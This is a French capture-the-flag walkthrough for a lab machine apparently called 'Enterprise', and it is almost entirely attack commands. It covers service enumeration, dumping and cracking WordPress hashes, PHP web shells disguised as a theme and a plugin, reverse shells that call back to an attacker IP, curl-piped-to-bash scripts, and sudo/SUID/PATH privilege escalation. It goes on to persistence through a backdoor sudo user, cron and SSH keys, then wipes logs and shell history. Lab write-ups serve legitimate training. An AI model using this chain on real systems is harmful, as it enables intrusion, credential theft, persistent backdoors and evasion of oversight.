Commande :
nmap -sV -sC -p- -T4 -oN nmap_scan.txt <IP_CIBLE>
Explications :
- -sV : Détecte les versions des services
- -sC : Exécute les scripts par défaut de nmap
- -p- : Scanne tous les ports (1-65535)
- -T4 : Scan agressif pour accélérer
- -oN : Sauvegarde dans un fichier
Résultat attendu pour Enterprise :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu
3306/tcp open mysql MySQL 5.7.26-0ubuntu0.18.04.1
8080/tcp open http-proxy Apache httpd 2.4.29
Commande :
nmap -A -T4 <IP_CIBLE> -oN aggressive_scan.txt
Explications :
- -A : Mode complet (version, OS, scripts, traceroute)
- Identifie les services critiques
Commande pour extraire les versions :
grep -i "version\|service" nmap_scan.txt | tee versions.txt
Chercher les CVE :
searchsploit "Apache 2.4.29"
searchsploit "MySQL 5.7.26"
searchsploit "OpenSSH 7.6p1"
searchsploit "Samba 4.7.6"
Commande 1 - Lister les partages :
smbclient -L //<IP_CIBLE> -N
Explications :
- -L : Liste les partages disponibles
- -N : Pas d'authentification (null session)
Résultat attendu :
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service
ADMIN$ Disk IPC Service
backup Disk Backup Files
users Disk User Files
Commande 2 - Énumération détaillée :
smbmap -H <IP_CIBLE> -u "" -p ""
smbmap -H <IP_CIBLE> -u "" -p "" -r
Explications :
- Affiche les droits d'accès (READ, WRITE)
- -r : Parcourt récursivement les répertoires
Commande - Parcourir les partages :
smbclient //<IP_CIBLE>/backup -N
Actions une fois connecté :
# Lister le contenu
ls
dir
# Naviguer
cd /
cd "Windows"
# Télécharger des fichiers
get filename.txt
mget *.txt
mget *
# Analyser
find . -type f -name "*.config"
find . -type f -name "*.xml"
Télécharger massivement :
# Via smbclient
smbclient //<IP_CIBLE>/backup -N -c "prompt OFF; recurse ON; mget *"
# Via smbmap
smbmap -H <IP_CIBLE> -u "" -p "" -r backup --download "backup/*"
Commande 1 - Énumération basique :
rpcclient -U "" <IP_CIBLE> -N
Commandes utiles dans rpcclient :
# Énumérer les utilisateurs
enumdomusers
# Énumérer les groupes
enumdomgroups
# Informations du domaine
querydominfo
# Énumérer les partages
netshareenum
# Quitter
quit
Commande 2 - Extraction directe :
rpcclient -U "" <IP_CIBLE> -N -c "enumdomusers" > users.txt
rpcclient -U "" <IP_CIBLE> -N -c "netshareenum" > shares.txt
Commande 1 - Accès basique :
curl -v http://<IP_CIBLE>/
Explications :
- -v : Mode verbose pour voir les en-têtes HTTP
Commande 2 - Fuzzing de répertoires :
gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt,js,css
Alternative avec ffuf :
ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.html,.txt -fc 404
Résultat attendu :
[Status: 200, Size: 1234] | http://<IP_CIBLE>/
[Status: 301, Size: 152] | http://<IP_CIBLE>/wordpress
[Status: 200, Size: 5678] | http://<IP_CIBLE>/index.php
[Status: 200, Size: 890] | http://<IP_CIBLE>/wp-admin/
[Status: 200, Size: 456] | http://<IP_CIBLE>/wp-login.php
Commande :
curl -v http://<IP_CIBLE>:8080/
gobuster dir -u http://<IP_CIBLE>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html
Commande avec enum4linux :
enum4linux -a <IP_CIBLE>
enum4linux -a -v <IP_CIBLE> | tee enum4linux_output.txt
Explications :
- -a : Énumération agressive complète
- -v : Mode verbose
- Récupère users, groups, shares, et plus
Autre outil - Metasploit SMB :
msfconsole
> use auxiliary/scanner/smb/smb_enumshares
> set RHOSTS <IP_CIBLE>
> run
> use auxiliary/scanner/smb/smb_enumusers
> set RHOSTS <IP_CIBLE>
> run
Test de connexion :
mysql -h <IP_CIBLE> -u root -p
Si pas de mot de passe :
mysql -h <IP_CIBLE> -u root
Commandes MySQL utiles :
-- Voir les bases de données
SHOW DATABASES;
-- Sélectionner une base (ex: wordpress)
USE wordpress;
-- Voir les tables
SHOW TABLES;
-- Voir les utilisateurs
SELECT * FROM wp_users;
-- Extraire les hashs
SELECT user_login, user_pass FROM wp_users;
-- Quitter
exit
Alternative via CLI :
# Connexion directe
mysql -h <IP_CIBLE> -u root -e "SHOW DATABASES;"
mysql -h <IP_CIBLE> -u root wordpress -e "SELECT user_login, user_pass FROM wp_users;"
Export des hashs :
mysql -h <IP_CIBLE> -u root wordpress -e "SELECT user_login, user_pass FROM wp_users;" > hashes.txt
Crackage avec John :
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=phpass
Crackage avec Hashcat :
# Extraire les hashs au format correct
echo "admin:\$P\$BxaVnN5rINhN2TG7jP5p2K2Ycjl2Zo/" > wp_hashes.txt
# Cracker
hashcat -m 400 wp_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
Connexion au panneau admin :
# Via curl
curl -c cookies.txt -d "log=admin&pwd=PASSWORD&wp-submit=Log+In" http://<IP_CIBLE>/wordpress/wp-login.php
# Vérifier la connexion
curl -b cookies.txt http://<IP_CIBLE>/wordpress/wp-admin/
# Ou utiliser le navigateur
# http://<IP_CIBLE>/wordpress/wp-login.php
Méthode 1 - Thème malveillant :
# Créer un répertoire de thème
mkdir malicious-theme
cd malicious-theme
# Créer les fichiers nécessaires
cat > style.css << 'EOF'
/*
Theme Name: Malicious
Theme URI: http://example.com
Description: Malicious Theme
Version: 1.0
Author: Attacker
*/
EOF
# Créer le fichier PHP malveillant
cat > index.php << 'EOF'
<?php
system($_GET['cmd']);
?>
EOF
# Compresser le thème
zip -r malicious-theme.zip .
# Upload via l'interface WordPress (Appearance > Themes > Upload)
# Ou via SSH/FTP
Méthode 2 - Plugin malveillant :
# Créer un répertoire pour le plugin
mkdir malicious-plugin
cd malicious-plugin
# Créer le plugin
cat > plugin.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Plugin URI: http://example.com
Description: Test Plugin
Version: 1.0
Author: Attacker
*/
// Shell web simple
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
EOF
# Compresser
zip -r malicious-plugin.zip .
# Upload via Dashboard > Plugins > Upload Plugin
Méthode 3 - Modification de fichier existant :
# Éditer le fichier functions.php du thème actif
# Via SSH ou upload FTP
Utiliser le module WordPress :
msfconsole
> use exploit/unix/webapp/wp_admin_shell_upload
> set USERNAME admin
> set PASSWORD PASSWORD
> set TARGETURI /wordpress/
> set RHOST <IP_CIBLE>
> set LHOST <VOTRE_IP>
> set LPORT 4444
> exploit
Chercher wp-config.php :
# Via SMB
smbclient //<IP_CIBLE>/backup -N
> find . -name "wp-config.php"
> get wp-config.php
# Analyser les credentials
cat wp-config.php | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"
Extraire les credentials de wp-config.php :
grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST" wp-config.php
Via WordPress shell web :
# Test simple
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=whoami"
# Commandes
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=id"
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=uname+-a"
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=pwd"
Si vous avez les credentials SSH :
# Test de connexion
ssh <username>@<IP_CIBLE>
# Avec mot de passe
ssh -o StrictHostKeyChecking=no <username>@<IP_CIBLE>
# Avec clé privée (si trouvée)
ssh -i id_rsa <username>@<IP_CIBLE>
Créer un reverse shell PHP :
cat > reverse.php << 'EOF'
<?php
$sock=fsockopen("<VOTRE_IP>",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
EOF
Upload via WordPress :
# Via theme
smbclient //<IP_CIBLE>/backup -N
> put reverse.php
# Via web shell existant
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=wget+http://<VOTRE_IP>/reverse.php+-O+/tmp/rev.php"
curl "http://<IP_CIBLE>/wordpress/wp-content/themes/malicious/index.php?cmd=php+/tmp/rev.php"
Écouter la connexion :
nc -lvnp 4444
Si credentials obtenues :
ssh -v <username>@<IP_CIBLE> -p 22
Une fois connecté :
whoami
id
pwd
ls -la
cat flag.txt
Commandes de reconnaissance :
# Utilisateur actuel
whoami
id
groups
# Système
uname -a
cat /etc/os-release
cat /etc/lsb-release
# Utilisateurs du système
cat /etc/passwd | grep -E "/bin/bash|/bin/sh"
# Sudo permissions
sudo -l
sudo -l -U <username>
# Fichiers SUID
find / -perm -4000 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Services en cours d'exécution
ps aux
ps aux | grep root
# Ports en écoute
netstat -tulpn
ss -tulpn
# Tâches cron
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
Fichiers importants :
# Fichiers de configuration
find / -name "*.config" 2>/dev/null
find / -name "*.xml" 2>/dev/null
find / -name "*.conf" 2>/dev/null
# Clés SSH
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Credentials
grep -r "password\|passwd\|pwd" /etc/ 2>/dev/null
grep -r "password\|passwd\|pwd" /home/ 2>/dev/null
# Fichiers intéressants
find / -name "*secret*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
find / -name "*token*" 2>/dev/null
Vérifier les patches :
# Vérifier le kernel
uname -r
apt list --installed | grep linux-image
# Utiliser Linux Exploit Suggester
# https://github.com/mzet-/linux-exploit-suggester
curl https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
CVE courants Ubuntu 18.04 :
# CVE-2019-13272 - LPE via user_namespace
# CVE-2019-14287 - Sudo bypass
# CVE-2019-18634 - Sudo heap buffer overflow
# CVE-2020-1938 - Apache Tomcat RCE
searchsploit "Ubuntu 18.04" | grep "Privilege Escalation"
Trouver les SUID :
find / -perm -4000 -type f 2>/dev/null | head -20
Checker GTFOBins :
# Consulter https://gtfobins.github.io/
# Chercher les binaires trouvés
Exemple - binaire customisé :
# Vérifier le binaire
file /usr/local/bin/enterprise
strings /usr/local/bin/enterprise
# Tester pour les vulnérabilités
strace /usr/local/bin/enterprise
ltrace /usr/local/bin/enterprise
# Débordement de buffer
gdb /usr/local/bin/enterprise
pattern create 1000
pattern search <pattern_found>
Si vous trouvez un binaire custom :
# Exemple avec un binaire qui utilise un chemin relatif
/usr/local/bin/enterprise
# Chercher ce qu'il fait
strings /usr/local/bin/enterprise
ltrace /usr/local/bin/enterprise
# Si il appelle un programme sans chemin absolu
# Créer un wrapper malveillant
mkdir /tmp/exploit
cd /tmp/exploit
cat > cat << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x cat
# Ajouter au PATH
export PATH=/tmp/exploit:$PATH
# Exécuter le binaire
/usr/local/bin/enterprise
Si vous avez sudo pour une commande :
# Vérifier les permissions
sudo -l
# Exemple: sudo vim sans mot de passe
sudo vim
# Dans vim: :!bash
# Exemple: sudo find
sudo find / -exec bash -i \; -quit
# Exemple: sudo Python
sudo python
> import os; os.system("/bin/bash")
# Exemple: sudo less
sudo less /etc/passwd
# > !bash
Télécharger et exécuter linpeas :
# Sur votre machine
cd /tmp
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linpeas/linpeas.sh
chmod +x linpeas.sh
python -m http.server 8000
# Sur la machine cible
cd /tmp
wget http://<VOTRE_IP>:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
Analyser les résultats :
# Voir les highlights
cat linpeas_output.txt | grep -E "\[..!\.\.\.\]|\[RED\]"
Si WordPress est vulnérable :
# Scanner WP
wpscan --url http://<IP_CIBLE>/wordpress --enumerate vp,u
# Exemple: Plugin vulnérable
# SearchSploit les vulnérabilités trouvées
searchsploit "plugin-name"
Test basique :
# Page vulnérable
curl "http://<IP_CIBLE>/page.php?id=1' OR '1'='1"
# Utiliser sqlmap
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" --dbs
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D wordpress --tables
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D wordpress -T wp_users --dump
Test :
# Test simple
curl "http://<IP_CIBLE>/page.php?file=../../../../etc/passwd"
# Via ffuf
ffuf -u "http://<IP_CIBLE>/page.php?file=../../../FUZZ" -w /usr/share/wordlists/dirb/big.txt
Via template injection :
# Test Jinja2/Twig
{{7*7}}
${7*7}
<%= 7*7 %>
# Si vulnerable, exécuter des commandes
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Commandes :
# User flag
cat /home/<username>/user.txt
find /home -name "user.txt"
find /home -name "*flag*"
# Root flag
sudo cat /root/root.txt
cat /root/root.txt
# Chercher tous les flags
find / -name "*flag*" 2>/dev/null
find / -name "*user.txt" 2>/dev/null
find / -name "*root.txt" 2>/dev/null
Ajouter une clé SSH :
# Générer une clé
ssh-keygen -t rsa -N "" -f /tmp/id_rsa
# Récupérer la clé publique
cat /tmp/id_rsa.pub
# Ajouter sur la cible
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
mkdir -p ~/.ssh
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
Créer un utilisateur backdoor :
# Créer l'utilisateur
sudo useradd -m -s /bin/bash backdoor
sudo passwd backdoor
# Ajouter à sudo (si possible)
echo "backdoor ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers.d/backdoor
# Connexion directe
ssh backdoor@<IP_CIBLE>
Persistence via cron :
# Créer un script malveillant
cat > /tmp/persistence.sh << 'EOF'
#!/bin/bash
# Ajouter la clé SSH si elle n'existe pas
if ! grep -q "ssh-rsa AAAA..." ~/.ssh/authorized_keys 2>/dev/null; then
mkdir -p ~/.ssh
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
fi
EOF
# Ajouter au crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * bash /tmp/persistence.sh") | crontab -
Webshell PHP persistant :
# Placer le shell dans le répertoire web
sudo cp /tmp/shell.php /var/www/html/admin.php
# Accès permanent
curl "http://<IP_CIBLE>/admin.php?cmd=whoami"
Effacer l'historique :
# Bash
history -c
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.bash_history.
# Zsh
cat /dev/null > ~/.zsh_history
history -p
# Tous les utilisateurs
for user in $(cut -f1 -d: /etc/passwd); do
rm -f /home/$user/.bash_history
rm -f /home/$user/.zsh_history
done
Effacer les logs :
# Logs système
sudo cat /dev/null > /var/log/syslog
sudo cat /dev/null > /var/log/auth.log
sudo cat /dev/null > /var/log/apache2/access.log
sudo cat /dev/null > /var/log/apache2/error.log
# Logs MySQL
sudo cat /dev/null > /var/log/mysql/error.log
# Fichiers temporaires
rm -f /tmp/*
rm -rf /tmp/*
Effacer les fichiers uploadés :
# Supprimer les shells
rm -f /var/www/html/*.php
rm -f /var/www/html/wp-content/themes/*/malicious*
rm -f /var/www/html/wp-content/plugins/*/malicious*
# Supprimer les fichiers SMB
smbclient //<IP_CIBLE>/backup -N -c "mdelete *"
# Scan complet
nmap -sV -sC -p- -T4 <IP_CIBLE>
# Énumération SMB
smbclient -L //<IP_CIBLE> -N
smbmap -H <IP_CIBLE>
enum4linux -a <IP_CIBLE>
# Énumération web
gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirb/common.txt
curl http://<IP_CIBLE>
# MySQL
mysql -h <IP_CIBLE> -u root
mysql -h <IP_CIBLE> -u root -e "SELECT * FROM wordpress.wp_users;"
# WordPress
wpscan --url http://<IP_CIBLE>/wordpress --enumerate u,vp
# Reverse shell
nc -lvnp 4444
bash -i >& /dev/tcp/<VOTRE_IP>/4444 0>&1
# Énumération
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
# Linpeas
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linpeas/linpeas.sh | bash
# Exploits
searchsploit "Ubuntu 18.04"
exploit.sh
# Flags
cat /home/*/user.txt
cat /root/root.txt
# Persistence
ssh-keygen -t rsa -N "" -f id_rsa
cat id_rsa.pub >> ~/.ssh/authorized_keys
# Nettoyage
history -c
cat /dev/null > ~/.bash_history
| Outil | Utilité | Commande |
|---|---|---|
| nmap | Scan de ports | nmap -A <IP> |
| smbclient | Client SMB | smbclient -L //<IP> -N |
| smbmap | Énumération SMB | smbmap -H <IP> |
| enum4linux | Énumération SMB/RPC | enum4linux -a <IP> |
| rpcclient | Client RPC | rpcclient -U "" <IP> -N |
| gobuster | Fuzzing web | gobuster dir -u http://<IP> -w list.txt |
| ffuf | Fuzzing web | ffuf -u http://<IP>/FUZZ -w list.txt |
| curl | Requêtes HTTP | curl http://<IP> |
| mysql | Client MySQL | mysql -h <IP> -u root |
| wpscan | Scanner WordPress | wpscan --url http://<IP>/wp |
| msfvenom | Payloads | msfvenom -p linux/x86/meterpreter/reverse_tcp ... |
| john | Cracking | john hashes.txt --wordlist=rockyou.txt |
| hashcat | Cracking GPU | hashcat -m 400 hashes.txt rockyou.txt |
À retenir :
- SMB souvent accessible sans credentials
- WordPress est généralement présent avec des credentials faibles
- Les fichiers de configuration contiennent les credentials MySQL
- Les plugins WordPress peuvent être vulnérables
- Les binaires locaux custom peuvent être exploitables
- Toujours chercher les fichiers SUID et les droits sudo
Attention :
- Vérifier les permissions d'accès avant d'assumer un accès
- Ne pas oublier de chercher les credentials dans les fichiers
- Attention aux filtres web (WAF)
- Documenter chaque étape pour le rapport
Ordre recommandé :
1. SMB énumération (souvent gratuit)
2. Web énumération + WordPress
3. MySQL si accessible
4. Reverse shell
5. Escalade locale
# Navigation
cd /
pwd
ls -la
ls -lah
find / -name "*.txt" 2>/dev/null
# Fichiers
cat <fichier>
less <fichier>
head -20 <fichier>
tail -20 <fichier>
grep "pattern" <fichier>
grep -r "pattern" /etc
# Réseau
ifconfig
ip addr
netstat -tulpn
ss -tulpn
curl http://example.com
wget http://example.com/file
# Système
uname -a
whoami
id
groups
cat /etc/passwd
cat /etc/sudoers
# Utilisateurs
sudo -l
whoami
last
w
users
# Services
systemctl list-units --type service
service --status-all
ps aux
ps aux | grep <service>
# Permissions
chmod 755 <fichier>
chmod 600 <fichier>
chown user:group <fichier>
# Processus
bg
fg
jobs
kill <PID>
nohup <commande> &
# Redirection
> sortie.txt # Rediriger vers fichier
>> sortie.txt # Ajouter à fichier
2>&1 # Rediriger stderr vers stdout
< input.txt # Lire depuis fichier
| grep pattern # Pipe vers grep
Enterprise est un challenge complet qui couvre :
1. L'énumération SMB
2. L'exploitation WordPress
3. L'exploitation MySQL
4. L'escalade de privilèges Linux
5. Les techniques de persistence
Les points clés de succès :
- Énumération minutieuse de tous les services
- Recherche de credentials dans les fichiers accessibles
- Exploitation des services web (WordPress)
- Escalade locale via des binaires custom ou vulnerabilités kernel
Bonne chance avec le challenge Enterprise !